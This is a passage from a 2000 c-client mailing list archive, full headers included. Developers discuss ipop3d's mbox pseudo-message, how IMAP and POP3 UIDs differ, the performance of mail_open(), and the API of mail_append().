UIDs can be > implemented, that technique is not suitable for IMAP. Which speaks for itself. If Mark has the time, I would like to know the "why?" in more detail. -- Yiorgos Adamopoulos, adamo@ieee.org From pinedev@shivax2.cac.washington.edu Wed Mar 15 12:02:34 2000 -0800 Return-Path: Received: via tmail-4.1(11) (invoked by user mailnull) for mailarch+c-client; Wed, 15 Mar 2000 12:02:33 -0800 (PST) Return-Path: Received: from mx2.cac.washington.edu (mx2.cac.washington.edu [140.142.33.1]) by groupms.cac.washington.edu (8.9.3+UW99.09/8.9.3+UW99.08) with ESMTP id MAA14304 for ; Wed, 15 Mar 2000 12:02:32 -0800 (PST) Received: from lists3.u.washington.edu (root@lists3.u.washington.edu [140.142.56.3]) by mx2.cac.washington.edu (8.9.3+UW00.02/8.9.3+UW99.09) with ESMTP id MAA20009; Wed, 15 Mar 2000 12:02:30 -0800 Received: from host (server@lists.u.washington.edu [140.142.56.13]) by lists3.u.washington.edu (8.9.3+UW99.09/8.9.3+UW99.09) with SMTP id MAA16807; Wed, 15 Mar 2000 12:00:47 -0800 Received: from mxu2.u.washington.edu (mxu2.u.washington.edu [140.142.32.9]) by lists.u.washington.edu (8.9.3+UW99.09/8.9.3+UW99.09) with ESMTP id LAA18330 for ; Wed, 15 Mar 2000 11:59:04 -0800 Received: from Tomobiki-Cho.CAC.Washington.EDU (del@tomobiki-cho.cac.washington.edu [128.95.135.58]) by mxu2.u.washington.edu (8.9.3+UW00.02/8.9.3+UW99.09) with ESMTP id LAA15346 for ; Wed, 15 Mar 2000 11:59:03 -0800 Message-Id: Date: Wed, 15 Mar 2000 11:41:29 -0800 (PST) Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: Mark Crispin To: Yiorgos Adamopoulos Cc: lewst , c-client@u.washington.edu Subject: Re: "pseudo messages" from ipop3d In-Reply-To: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; CHARSET=US-ASCII X-Sender: Mark Crispin X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN On Wed, 15 Mar 2000 20:29:04 +0200, Yiorgos Adamopoulos wrote: > As I understand it, since mbox is a *single* file format, this information > must be inside the mailbox and not some external file. Having this as an > external file, simply means that this is another format, and not mbox. Correct. Moving mailbox data to a second file creates a whole set of new problems. > > (UID). Although there is another technique by which POP3 UIDs can be > > implemented, that technique is not suitable for IMAP. > Which speaks for itself. If Mark has the time, I would like to know the > "why?" in more detail. All UIDs must be unique IMAP UIDs consist of the mailbox name, a 32-bit integer which is constant for the mailbox, and a 32-bit integer which is per-message. Generally, most people think of the IMAP UID as the per-message 32-bit integer. This value must be strictly ascending in the mailbox, a very useful property which makes it possible to avoid downloading the entire UID map. The per-mailbox 32-bit integer (called the "UID validity") should remain constant, but if it ever changes, the new value must be larger. Since the uniqueness is the combination of the UID validity and per-message UID, it is permitted to renumber the per-message UIDs. This is what happens if something happens to corrupts the UIDs, or if a mailbox is deleted then recreated. To preserve the qualities of uniqueness and strict ascendency, UID validity and the "last assigned UID" must be stored with the mailbox. That is the primary function of the pseudo-message. It also holds such things as IMAP keywords. POP3 UIDs are a string of up to 70 printable (0x21 - 0x7e) ASCII characters. There is no requirement for any sort of ordering. The other technique that I referred to is to use an MD5 checksum of the message text. So, IMAP UIDs can be used as POP3 UIDs, but not the other way around. IMAP UIDs are implemented by the underlying c-client library, so the c-client based POP3 server uses IMAP UIDs for POP3 UIDs. The whole point of the c-client based POP3 server is to provide POP3 service that interoperates with the IMAP service. So, there is no chance of it ever using the MD5 technique; the result would be even *more* cruft in the mailbox since it would be "both and", not "either or". If you don't care about interoperability with the IMAP service, then perhaps some other POP3 server, such as Qualcomm's qpopper, is a better choice for you. This is an excellent example of why "which is better, ipop3d or qpopper?" type questions are meaningless. There is rarely an unconditional "better", otherwise the world would be full of monopolies. More often, it is a question of "which is a better choice considering my needs?" People move from qpopper to ipop3d all the time, because ipop3d turns out to suit their needs better. I imagine that Qualcomm sees people moving from ipop3d to qpopper for the same reason. From pinedev@shivax2.cac.washington.edu Wed Mar 15 12:42:55 2000 -0800 Return-Path: Received: via tmail-4.1(11) (invoked by user mailnull) for mailarch+c-client; Wed, 15 Mar 2000 12:42:54 -0800 (PST) Return-Path: Received: from mx1.cac.washington.edu (mx1.cac.washington.edu [140.142.32.1]) by groupms.cac.washington.edu (8.9.3+UW99.09/8.9.3+UW99.08) with ESMTP id MAA14961 for ; Wed, 15 Mar 2000 12:42:53 -0800 (PST) Received: from lists5.u.washington.edu (root@lists5.u.washington.edu [140.142.56.6]) by mx1.cac.washington.edu (8.9.3+UW00.02/8.9.3+UW99.09) with ESMTP id MAA07415; Wed, 15 Mar 2000 12:42:52 -0800 Received: from host (server@lists.u.washington.edu [140.142.56.13]) by lists5.u.washington.edu (8.9.3+UW99.09/8.9.3+UW99.09) with SMTP id MAA04858; Wed, 15 Mar 2000 12:39:54 -0800 Received: from mxu3.u.washington.edu (mxu3.u.washington.edu [140.142.33.7]) by lists.u.washington.edu (8.9.3+UW99.09/8.9.3+UW99.09) with ESMTP id MAA57062 for ; Wed, 15 Mar 2000 12:38:10 -0800 Received: from mx1.cac.washington.edu (mx1.cac.washington.edu [140.142.32.1]) by mxu3.u.washington.edu (8.9.3+UW00.02/8.9.3+UW99.09) with ESMTP id MAA12955 for ; Wed, 15 Mar 2000 12:38:10 -0800 Received: from ares.voicerite.com (totalcall.com [216.235.96.73]) by mx1.cac.washington.edu (8.9.3+UW00.02/8.9.3+UW99.09) with ESMTP id MAA07261 for ; Wed, 15 Mar 2000 12:38:08 -0800 Received: from amadeus.voicerite.com (amadeus.voicerite.com [192.168.1.44]) by ares.voicerite.com (8.8.3/8.8.3) with SMTP id PAA32705 for ; Wed, 15 Mar 2000 15:41:44 -0500 Received: by amadeus.voicerite.com(Lotus SMTP MTA v4.6.4 (830.2 3-23-1999)) id 852568A3.0071DEA8 ; Wed, 15 Mar 2000 15:43:45 -0500 Message-Id: <852568A3.0071DE05.00@amadeus.voicerite.com> Date: Wed, 15 Mar 2000 15:43:43 -0500 Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: gcoll@voicerite.com To: c-client@CAC.Washington.EDU Subject: mail_open() Mime-Version: 1.0 Content-type: text/plain; charset=us-ascii Content-Disposition: inline X-Lotus-FromDomain: VOICERITE X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN Does 'mail_open()' retrieve all the messages in the mailbox? I was trying to write the c-client equivalent of: USER PASS STAT LIST However, when I use mail_open() for a 7.5MB mailbox, it takes 30 seconds to return. Thanx, Gus Coll -- ------------------------------------------------------------------ For information about this mailing list, and its archives, see: http://www.washington.edu/imap/c-client-list.html ------------------------------------------------------------------ From pinedev@shivax2.cac.washington.edu Wed Mar 15 13:01:33 2000 -0800 Return-Path: Received: via tmail-4.1(11) (invoked by user mailnull) for mailarch+c-client; Wed, 15 Mar 2000 13:01:33 -0800 (PST) Return-Path: Received: from mx2.cac.washington.edu (mx2.cac.washington.edu [140.142.33.1]) by groupms.cac.washington.edu (8.9.3+UW99.09/8.9.3+UW99.08) with ESMTP id NAA12799 for ; Wed, 15 Mar 2000 13:01:32 -0800 (PST) Received: from lists3.u.washington.edu (root@lists3.u.washington.edu [140.142.56.3]) by mx2.cac.washington.edu (8.9.3+UW00.02/8.9.3+UW99.09) with ESMTP id NAA21768; Wed, 15 Mar 2000 13:01:29 -0800 Received: from host (server@lists.u.washington.edu [140.142.56.13]) by lists3.u.washington.edu (8.9.3+UW99.09/8.9.3+UW99.09) with SMTP id NAA20513; Wed, 15 Mar 2000 13:00:24 -0800 Received: from mxu1.u.washington.edu (mxu1.u.washington.edu [140.142.32.8]) by lists.u.washington.edu (8.9.3+UW99.09/8.9.3+UW99.09) with ESMTP id MAA47022 for ; Wed, 15 Mar 2000 12:59:43 -0800 Received: from mx1.cac.washington.edu (mx1.cac.washington.edu [140.142.32.1]) by mxu1.u.washington.edu (8.9.3+UW00.02/8.9.3+UW99.09) with ESMTP id MAA27647 for ; Wed, 15 Mar 2000 12:59:43 -0800 Received: from Tomobiki-Cho.CAC.Washington.EDU (rodriguez@tomobiki-cho.cac.washington.edu [128.95.135.58]) by mx1.cac.washington.edu (8.9.3+UW00.02/8.9.3+UW99.09) with ESMTP id MAA07933 for ; Wed, 15 Mar 2000 12:59:43 -0800 Message-Id: Date: Wed, 15 Mar 2000 12:52:55 -0800 (PST) Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: Mark Crispin To: gcoll@voicerite.com Cc: c-client@CAC.Washington.EDU Subject: re: mail_open() In-Reply-To: <852568A3.0071DE05.00@amadeus.voicerite.com> MIME-Version: 1.0 Content-Type: TEXT/PLAIN; CHARSET=US-ASCII X-Sender: Mark Crispin X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN On Wed, 15 Mar 2000 15:43:43 -0500, gcoll@voicerite.com wrote: > Does 'mail_open()' retrieve all the messages in the mailbox? No, but mail_open() does count all the messages > However, when I use mail_open() for a 7.5MB mailbox, it takes 30 seconds > to return. What is the mailbox name that you are opening? If you are opening a POP3 mailbox, then the delay is at the POP3 server. It just does a USER/PASS (or AUTH, depending upon the server) followed by a STAT. If it is a local disk file, then 30 seconds is an excessive delay for 7.5MB. What version of IMAP toolkit are you using? What mailbox format? From pinedev@shivax2.cac.washington.edu Wed Mar 15 17:35:38 2000 -0800 Return-Path: Received: via tmail-4.1(11) (invoked by user mailnull) for mailarch+c-client; Wed, 15 Mar 2000 17:35:38 -0800 (PST) Return-Path: Received: from mx1.cac.washington.edu (mx1.cac.washington.edu [140.142.32.1]) by groupms.cac.washington.edu (8.9.3+UW99.09/8.9.3+UW99.08) with ESMTP id RAA21436 for ; Wed, 15 Mar 2000 17:35:37 -0800 (PST) Received: from lists5.u.washington.edu (root@lists5.u.washington.edu [140.142.56.6]) by mx1.cac.washington.edu (8.9.3+UW00.02/8.9.3+UW99.09) with ESMTP id RAA15738; Wed, 15 Mar 2000 17:35:34 -0800 Received: from host (server@lists.u.washington.edu [140.142.56.13]) by lists5.u.washington.edu (8.9.3+UW99.09/8.9.3+UW99.09) with SMTP id RAA19322; Wed, 15 Mar 2000 17:33:45 -0800 Received: from mxu2.u.washington.edu (mxu2.u.washington.edu [140.142.32.9]) by lists.u.washington.edu (8.9.3+UW99.09/8.9.3+UW99.09) with ESMTP id RAA30346 for ; Wed, 15 Mar 2000 17:32:23 -0800 Received: from web2102.mail.yahoo.com (web2102.mail.yahoo.com [128.11.68.246]) by mxu2.u.washington.edu (8.9.3+UW00.02/8.9.3+UW99.09) with SMTP id RAA17695 for ; Wed, 15 Mar 2000 17:32:23 -0800 Received: (qmail 3824 invoked by uid 60001); 16 Mar 2000 01:32:22 -0000 Received: from [129.24.240.30] by web2102.mail.yahoo.com; Wed, 15 Mar 2000 17:32:22 PST Message-Id: <20000316013222.3823.qmail@web2102.mail.yahoo.com> Date: Wed, 15 Mar 2000 17:32:22 -0800 (PST) Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: lewst To: c-client@u.washington.edu Subject: Re: "pseudo messages" from ipop3d MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN Mark Crispin wrote: > If you don't care about interoperability with the IMAP service, then perhaps > some other POP3 server, such as Qualcomm's qpopper, is a better choice for > you. It's just too bad that the only reason I have to move away from ipop3d is because the "pseudo message" shows up as a message in my mailbox. This was a poor design decision. __________________________________________________ Do You Yahoo!? Talk to your friends online with Yahoo! Messenger. http://im.yahoo.com From pinedev@shivax2.cac.washington.edu Thu Mar 16 01:12:40 2000 -0800 Return-Path: Received: via tmail-4.1(11) (invoked by user mailnull) for mailarch+c-client; Thu, 16 Mar 2000 01:12:39 -0800 (PST) Return-Path: Received: from mx1.cac.washington.edu (mx1.cac.washington.edu [140.142.32.1]) by groupms.cac.washington.edu (8.9.3+UW99.09/8.9.3+UW99.08) with ESMTP id BAA25640 for ; Thu, 16 Mar 2000 01:12:38 -0800 (PST) Received: from lists3.u.washington.edu (root@lists3.u.washington.edu [140.142.56.3]) by mx1.cac.washington.edu (8.9.3+UW00.02/8.9.3+UW99.09) with ESMTP id BAA23097; Thu, 16 Mar 2000 01:12:35 -0800 Received: from host (server@lists.u.washington.edu [140.142.56.13]) by lists3.u.washington.edu (8.9.3+UW99.09/8.9.3+UW99.09) with SMTP id BAA14908; Thu, 16 Mar 2000 01:11:01 -0800 Received: from mxu1.u.washington.edu (mxu1.u.washington.edu [140.142.32.8]) by lists.u.washington.edu (8.9.3+UW99.09/8.9.3+UW99.09) with ESMTP id BAA29198 for ; Thu, 16 Mar 2000 01:09:55 -0800 Received: from guiness.netcomsa.com ([216.72.122.3]) by mxu1.u.washington.edu (8.9.3+UW00.02/8.9.3+UW99.09) with ESMTP id BAA32555 for ; Thu, 16 Mar 2000 01:09:51 -0800 Received: from localhost (mike@localhost) by guiness.netcomsa.com (8.8.8/8.8.8) with ESMTP id DAA03775 for ; Thu, 16 Mar 2000 03:21:55 -0600 Message-Id: Date: Thu, 16 Mar 2000 03:21:54 -0600 (CST) Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: Mike Trank To: c-client@u.washington.edu Subject: mail_append(...., *STRING); MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN How come the mail_append() thing isn't like this: ma il_append(NIL, "/home/mike/Mail/myfolder", env, body); where env and body are type ENVELOPE and BODY? I have a message that I have just constructed in memory with these structures and I send it out with smtp_mail(smtpstream, "MAIL", env, body); smtpstream is with localhost. but I also want to store it in a sent-mail folder. So, what do I do? Do I have to use rfc822_output and somehow get the message from env/body into a character array that I can then convert into a STRING with mail_string_init()? Thanks very much for your help. -- ------------------------------------------------------------------ For information about this mailing list, and its archives, see: http://www.washington.edu/imap/c-client-list.html ------------------------------------------------------------------ From pinedev@shivax2.cac.washington.edu Thu Mar 16 01:19:48 2000 -0800 Return-Path: Received: via tmail-4.1(11) (invoked by user mailnull) for mailarch+c-client; Thu, 16 Mar 2000 01:19:47 -0800 (PST) Return-Path: Received: from mx1.cac.washington.edu (mx1.cac.washington.edu [140.142.32.1]) by groupms.cac.washington.edu (8.9.3+UW99.09/8.9.3+UW99.08) with ESMTP id BAA24431 for ; Thu, 16 Mar 2000 01:19:46 -0800 (PST) Received: from lists4.u.washington.edu (root@lists4.u.washington.edu [140.142.56.2]) by mx1.cac.washington.edu (8.9.3+UW00.02/8.9.3+UW99.09) with ESMTP id BAA23219; Thu, 16 Mar 2000 01:19:44 -0800 Received: from host (server@lists.u.washington.edu [140.142.56.13]) by lists4.u.washington.edu (8.9.3+UW99.09/8.9.3+UW99.09) with SMTP id BAA29458; Thu, 16 Mar 2000 01:18:55 -0800 Received: from mxu1.u.washington.edu (mxu1.u.washington.edu [140.142.32.8]) by lists.u.washington.edu (8.9.3+UW99.09/8.9.3+UW99.09) with ESMTP id BAA42706 for ; Thu, 16 Mar 2000 01:18:16 -0800 Received: from Tomobiki-Cho.CAC.Washington.EDU (john@tomobiki-cho.cac.washington.edu [128.95.135.58]) by mxu1.u.washington.edu (8.9.3+UW00.02/8.9.3+UW99.09) with ESMTP id BAA00726 for ; Thu, 16 Mar 2000 01:18:15 -0800 Message-Id: Date: Thu, 16 Mar 2000 01:15:32 -0800 (PST) Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: Mark Crispin To: Mike Trank Cc: c-client@u.washington.edu Subject: re: mail_append(...., *STRING); In-Reply-To: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; CHARSET=US-ASCII X-Sender: Mark Crispin X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN On Thu, 16 Mar 2000 03:21:54 -0600 (CST), Mike Trank wrote: > How come the mail_append() thing isn't like this: > ma il_append(NIL, "/home/mike/Mail/myfolder", env, body); Because the original use of mail_append() was to copy an RFC822 message from one mail store to another. Using env and body would have been a lot of extra work that would have just had to be undone. > Do I > have to use rfc822_output and somehow get the message from env/body into a > character array that I can then convert into a STRING with > mail_string_init()? In effect, yes. There are many ways that you can do this, but that's the general idea. From pinedev@shivax2.cac.washington.edu Thu Mar 16 10:14:20 2000 -0800 Return-Path: Received: via tmail-4.1(11) (invoked by user mailnull) for mailarch+c-client; Thu, 16 Mar 2000 10:14:20 -0800 (PST) Return-Path: Received: from mx2.cac.washington.edu (mx2.cac.washington.edu [140.142.33.1]) by groupms.cac.washington.edu (8.9.3+UW99.09/8.9.3+UW99.08) with ESMTP id KAA06630 for ; Thu, 16 Mar 2000 10:14:19 -0800 (PST) Received: from lists4.u.washington.edu (root@lists4.u.washington.edu [140.142.56.2]) by mx2.cac.washington.edu (8.9.3+UW00.02/8.9.3+UW99.09) with ESMTP id KAA15148; Thu, 16 Mar 2000 10:14:16 -0800 Received: from host (server@lists.u.washington.edu [140.142.56.13]) by lists4.u.washington.edu (8.9.3+UW99.09/8.9.3+UW99.09) with SMTP id KAA12879; Thu, 16 Mar 2000 10:13:21 -0800 Received: from mxu1.u.washington.edu (mxu1.u.washington.edu [140.142.32.8]) by lists.u.washington.edu (8.9.3+UW99.09/8.9.3+UW99.09) with ESMTP id KAA35974 for ; Thu, 16 Mar 2000 10:12:10 -0800 Received: from ulysses.noc.ntua.gr (ulysses.noc.ntua.gr [147.102.222.230]) by mxu1.u.washington.edu (8.9.3+UW00.02/8.9.3+UW99.09) with ESMTP id KAA21532 for ; Thu, 16 Mar 2000 10:12:07 -0800 Received: from dblab.ece.ntua.gr (ithaca.dbnet.ece.ntua.gr [147.102.12.1]) by ulysses.noc.ntua.gr (8.9.3/8.9.3) with ESMTP id UAA68906; Thu, 16 Mar 2000 20:12:05 +0200 (EET) Received: from mbazo.dbnet.ece.ntua.gr (mbazo.dbnet.ece.ntua.gr [147.102.12.8]) by dblab.ece.ntua.gr (8.10.0/8.10.0) with ESMTP id e2GIC5J73463; Thu, 16 Mar 2000 20:12:05 +0200 (EET) Message-Id: Date: Thu, 16 Mar 2000 20:12:05 +0200 Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: Yiorgos Adamopoulos To: lewst Cc: c-client@u.washington.edu Subject: Re: "pseudo messages" from ipop3d In-Reply-To: <20000316013222.3823.qmail@web2102.mail.yahoo.com> References: <20000316013222.3823.qmail@web2102.mail.yahoo.com> MIME-Version: 1.0 Content-Type: Text/Plain; charset="us-ascii" X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN On Wed, 15 Mar 2000 17:32:22 -0800 (PST) lewst wrote: > It's just too bad that the only reason I have to move away from > ipop3d is because the "pseudo message" shows up as a message in > my mailbox. This was a poor design decision. You fail to understand, that for the UNIX MAILBOX FORMAT and interoperability with clients like elm, mutt, mail, mailx it is the only decision. -- Yiorgos Adamopoulos, adamo@ieee.org From pinedev@shivax2.cac.washington.edu Fri Mar 17 04:22:51 2000 -0800 Return-Path: Received: via tmail-4.1(11) (invoked by user mailnull) for mailarch+c-client; Fri, 17 Mar 2000 04:22:51 -0800 (PST) Return-Path: Received: from mx2.cac.washington.edu (mx2.cac.washington.edu [140.142.33.1]) by groupms.cac.washington.edu (8.9.3+UW99.09/8.9.3+UW99.08) with ESMTP id EAA12898 for ; Fri, 17 Mar 2000 04:22:50 -0800 (PST) Received: from lists4.u.washington.edu (root@lists4.u.washington.edu [140.142.56.2]) by mx2.cac.washington.edu (8.9.3+UW00.02/8.9.3+UW99.09) with ESMTP id EAA06584; Fri, 17 Mar 2000 04:22:47 -0800 Received: from host (server@lists.u.washington.edu [140.142.56.13]) by lists4.u.washington.edu (8.9.3+UW99.09/8.9.3+UW99.09) with SMTP id EAA16118; Fri, 17 Mar 2000 04:21:57 -0800 Received: from mxu4.u.washington.edu (mxu4.u.washington.edu [140.142.33.8]) by lists.u.washington.edu (8.9.3+UW99.09/8.9.3+UW99.09) with ESMTP id EAA35290 for ; Fri, 17 Mar 2000 04:20:08 -0800 Received: from shiva.jussieu.fr (shiva.jussieu.fr [134.157.0.129]) by mxu4.u.washington.edu (8.9.3+UW00.02/8.9.3+UW99.09) with ESMTP id EAA09652 for ; Fri, 17 Mar 2000 04:20:02 -0800 Received: from parthe.lpthe.jussieu.fr (parthe.lpthe.jussieu.fr [134.157.10.1]) by shiva.jussieu.fr (8.10.0/jtpda-5.3.3) with ESMTP id e2HCJwv56616 for ; Fri, 17 Mar 2000 13:19:58 +0100 (CET) Received: from seth.lpthe.jussieu.fr (IDENT:zeitlin@seth.lpthe.jussieu.fr [134.157.10.7]) by parthe.lpthe.jussieu.fr (8.9.1a/jtpda-5.3.1) with ESMTP id NAA18424 for ; Fri, 17 Mar 2000 13:19:57 +0100 (MET) Received: from (zeitlin@localhost) by seth.lpthe.jussieu.fr (8.8.7/jtpda-5.1) id NAA30451 for c-client@u.washington.edu; Fri, 17 Mar 2000 13:19:56 +0100 Message-Id: Date: Fri, 17 Mar 2000 13:19:56 +0100 (CET) Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: Vadim Zeitlin To: c-client@u.washington.edu Subject: Re: "pseudo messages" from ipop3d In-Reply-To: Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit MIME-Version: 1.0 X-Sender: zeitlin@lpthe.jussieu.fr X-Priority: 3 (Normal) X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN On 16-Mar-00 Yiorgos Adamopoulos wrote: > You fail to understand, that for the UNIX MAILBOX FORMAT and interoperability > with clients like elm, mutt, mail, mailx it is the only decision. Sorry, but could you explain this (yet) a bit more? mail(x) doesn't create nor uses such messages AFAIK, so how can this be possible? Thanks, VZ From pinedev@shivax2.cac.washington.edu Fri Mar 17 05:27:17 2000 -0800 Return-Path: Received: via tmail-4.1(11) (invoked by user mailnull) for mailarch+c-client; Fri, 17 Mar 2000 05:27:16 -0800 (PST) Return-Path: Received: from mx1.cac.washington.edu (mx1.cac.washington.edu [140.142.32.1]) by groupms.cac.washington.edu (8.9.3+UW99.09/8.9.3+UW99.08) with ESMTP id FAA18327 for ; Fri, 17 Mar 2000 05:27:15 -0800 (PST) Received: from lists3.u.washington.edu (root@lists3.u.washington.edu [140.142.56.3]) by mx1.cac.washington.edu (8.9.3+UW00.02/8.9.3+UW99.09) with ESMTP id FAA26573; Fri, 17 Mar 2000 05:27:13 -0800 Received: from host (server@lists.u.washington.edu [140.142.56.13]) by lists3.u.washington.edu (8.9.3+UW99.09/8.9.3+UW99.09) with SMTP id FAA02408; Fri, 17 Mar 2000 05:26:04 -0800 Received: from mxu2.u.washington.edu (mxu2.u.washington.edu [140.142.32.9]) by lists.u.washington.edu (8.9.3+UW99.09/8.9.3+UW99.09) with ESMTP id FAA45432 for ; Fri, 17 Mar 2000 05:25:28 -0800 Received: from ulysses.noc.ntua.gr (ulysses.noc.ntua.gr [147.102.222.230]) by mxu2.u.washington.edu (8.9.3+UW00.02/8.9.3+UW99.09) with ESMTP id FAA19485 for ; Fri, 17 Mar 2000 05:25:19 -0800 Received: from dblab.ece.ntua.gr (ithaca.dbnet.ece.ntua.gr [147.102.12.1]) by ulysses.noc.ntua.gr (8.9.3/8.9.3) with ESMTP id PAA21804; Fri, 17 Mar 2000 15:25:13 +0200 (EET) Received: from mbazo.dbnet.ece.ntua.gr (mbazo.dbnet.ece.ntua.gr [147.102.12.8]) by dblab.ece.ntua.gr (8.10.0/8.10.0) with ESMTP id e2HDP9J38753; Fri, 17 Mar 2000 15:25:09 +0200 (EET) Message-Id: Date: Fri, 17 Mar 2000 15:25:09 +0200 Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: Yiorgos Adamopoulos To: Vadim Zeitlin Cc: c-client@u.washington.edu Subject: Re: "pseudo messages" from ipop3d In-Reply-To: References: MIME-Version: 1.0 Content-Type: Text/Plain; charset="us-ascii" X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN On Fri, 17 Mar 2000 13:19:56 +0100 (CET) Vadim Zeitlin wrote: > On 16-Mar-00 Yiorgos Adamopoulos wrote: > > You fail to understand, that for the UNIX MAILBOX FORMAT and interoperability > > with clients like elm, mutt, mail, mailx it is the only decision. > > Sorry, but could you explain this (yet) a bit more? mail(x) doesn't > create nor uses such messages AFAIK, so how can this be possible? > > Thanks, > VZ No it does not. I had the same questions as you when I first started using imapd and ipop3d. Since then I have seen Mark Crispin explaining the existence of this message when you use Unix mailboxes and imapd/ipop3d numerous times. And there exists this very nice URL that explains it also: http://www.washington.edu/pine/faq/problems.html#xtocid1175429 Please read it. As Mark explained previously in this very thread, this message is needed to calculate UIDs and is needed only when the messages are stored in the unix traditional mailbox (.mbox) format. It is not bad design because we see it when not reading our email via imapd. When this is the case two things happen: - If you are using a mail reader that is compatible/developed with c-client then you do not see the message - If you are using any other mail reader (such as mailx) then you see it. Plain and simple If you decide not to use the .mbox format, and use .mbx for example, then the only way you can see your emails is via a client that knows of mbx (and mailx is not one of them). -- Yiorgos Adamopoulos, adamo@ieee.org From pinedev@shivax2.cac.washington.edu Fri Mar 17 13:21:26 2000 -0800 Return-Path: Received: via tmail-4.1(11) (invoked by user mailnull) for mailarch+c-client; Fri, 17 Mar 2000 13:21:26 -0800 (PST) Return-Path: Received: from mx1.cac.washington.edu (mx1.cac.washington.edu [140.142.32.1]) by groupms.cac.washington.edu (8.9.3+UW99.09/8.9.3+UW99.08) with ESMTP id NAA16993 for ; Fri, 17 Mar 2000 13:21:25 -0800 (PST) Received: from lists4.u.washington.edu (root@lists4.u.washington.edu [140.142.56.2]) by mx1.cac.washington.edu (8.9.3+UW00.02/8.9.3+UW99.09) with ESMTP id NAA05903; Fri, 17 Mar 2000 13:21:23 -0800 Received: from host (server@lists.u.washington.edu [140.142.56.13]) by lists4.u.washington.edu (8.9.3+UW99.09/8.9.3+UW99.09) with SMTP id NAA04569; Fri, 17 Mar 2000 13:20:01 -0800 Received: from mxu4.u.washington.edu (mxu4.u.washington.edu [140.142.33.8]) by lists.u.washington.edu (8.9.3+UW99.09/8.9.3+UW99.09) with ESMTP id NAA05802 for ; Fri, 17 Mar 2000 13:18:52 -0800 Received: from mx2.cac.washington.edu (mx2.cac.washington.edu [140.142.33.1]) by mxu4.u.washington.edu (8.9.3+UW00.02/8.9.3+UW99.09) with ESMTP id NAA20592 for ; Fri, 17 Mar 2000 13:18:52 -0800 Received: from mxout1.cac.washington.edu (mxout1.cac.washington.edu [140.142.32.5]) by mx2.cac.washington.edu (8.9.3+UW00.02/8.9.3+UW99.09) with ESMTP id NAA19555 for ; Fri, 17 Mar 2000 13:18:52 -0800 Received: from mailhost1.u.washington.edu (mailhost1.u.washington.edu [140.142.32.2]) by mxout1.cac.washington.edu (8.9.3+UW00.02/8.9.3+UW99.09) with ESMTP id NAA26837 for ; Fri, 17 Mar 2000 13:18:52 -0800 Received: from Tomobiki-Cho.CAC.Washington.EDU (rogue@tomobiki-cho.cac.washington.edu [128.95.135.58]) by mailhost1.u.washington.edu (8.9.3+UW00.02/8.9.3+UW00.01) with ESMTP id NAA18785 for ; Fri, 17 Mar 2000 13:18:52 -0800 Message-Id: Date: Fri, 17 Mar 2000 12:53:09 -0800 (PST) Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: Mark Crispin To: c-client Interest List Subject: Re: "pseudo messages" from ipop3d In-Reply-To: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; CHARSET=US-ASCII X-Sender: Mark Crispin X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN OK, here's the current situation. If I knew of a better way to do it than the pseudo-message, I would do it. All the ways of doing it have problems. We all know the problem with the pseudo-message. It makes people send complaints; and there's been enough complaints that I've been told to do something about it. The MD5 checksum trick is useless for IMAP. Since it has to support IMAP, doing the MD5 checksum trick would be that you'd have *both*, not either. Putting the data in an auxillary file means a doubling of the number of files; plus there is no guarantee that the user can necessarily create any other file other than the INBOX; plus with shared folders it's likely that different users would have different auxillary files and would end up stomping on each other's UID base. The only alternative solution that seems to be viable is to keep the data with *EVERY* message in the mailbox (because any message can be deleted and lose that data -- that's why the pseudo-message is kept apart and separate when you use c-client software). So, every time there's new mail, the next checkpoint (mailbox close, check, or expunge) have to go and update that data in all the messages. So, the question is: do users hate the pseudo-message so much that they're willing to have checkpoints do all those rewrites and be slower as a result? I personally would have appreciate the big performance boost in imap-4.6, and would rue having to give part of it up. But I don't use traditional UNIX mbox format. I am still looking for better alternatives. But if there is overwhelming sentiment that the software is fast enough that you can tolerate a performance loss to get rid of the pseudo-message, please let me know. This issue with the pseudo-message has been a major irritation for years now. From pinedev@shivax2.cac.washington.edu Fri Mar 17 14:00:28 2000 -0800 Return-Path: Received: via tmail-4.1(11) (invoked by user mailnull) for mailarch+c-client; Fri, 17 Mar 2000 14:00:28 -0800 (PST) Return-Path: Received: from mx2.cac.washington.edu (mx2.cac.washington.edu [140.142.33.1]) by groupms.cac.washington.edu 